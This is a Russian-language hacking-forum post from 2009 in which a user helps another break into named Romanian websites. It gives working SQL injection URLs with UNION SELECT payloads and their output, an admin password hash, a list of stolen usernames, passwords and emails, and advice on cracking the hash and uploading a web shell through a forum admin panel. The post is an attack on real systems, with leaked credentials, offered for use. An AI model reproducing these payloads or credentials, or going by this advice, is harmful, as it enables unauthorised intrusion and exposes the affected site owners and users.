SQL Инъекции

#11

31.01.2009, 01:44

spherics

Участник форума

Регистрация: 14.01.2008

Сообщений: 174

С нами: 9644530

Репутация: 443

Цитата:

Сообщение от Gorev

Все сайты на данном хосте имеют уязвимость...выложу только один из них
В админку зайти не получается, скорей всего привязка к айпи... если у кого нибудь получится зайти а еще лучше залить шелл буду очень признателен ибо надо добратся до одного сайта на хосте. Заранее спасибо.
http://www.tshirts.ro/shop_add.php?pid=-116+UNION+SELECT+1,Concat_ws(0x3a,version(),databa se(),user()),3,4,5,6,7,8,9,10,11,12,13,14--%20&ownerid=63

Database Version: 5.0.27-log
Database name: tsh
User name: tsh@htdweb

http://www.webdesigners.ro/forum/admin/

Основное тело это webmaster c одним и тем же хешом так что думаю мы на верном пути -)

webmaster:b46b0fb4559b9f0f01635aa25ac942dd

Пароль не перебрал попробуй если переберешь в админке форума покопать я так думаю там не проблема будет залить че нить куда нить.

А вообще по их сайтам форум багнутый так что может тебе повезет всё таки через форум их достать

Цитата:

http://www.webdesigners.ro/forum/forum_display.php?fid=42&mid=-1784+union+select+1,Concat_ws(0x3a,version(),datab ase(),user()),3,4--&act=last#last

Database Version: 5.0.27-log
Database name: webdesigners
User name: webdesigners@htdweb

Этих людей достал но не знаю нужны ли они тебе

логин пароль мыло
emobil:cantemir : contact@htd.ro
crocodilul:cantemir : contact@htd.ro
singur:cantemir : contact@htd.ro
sexpert:cantemir : contact@htd.ro
1tuningclient : cantermir:contact@htd.ro

В общем удачи.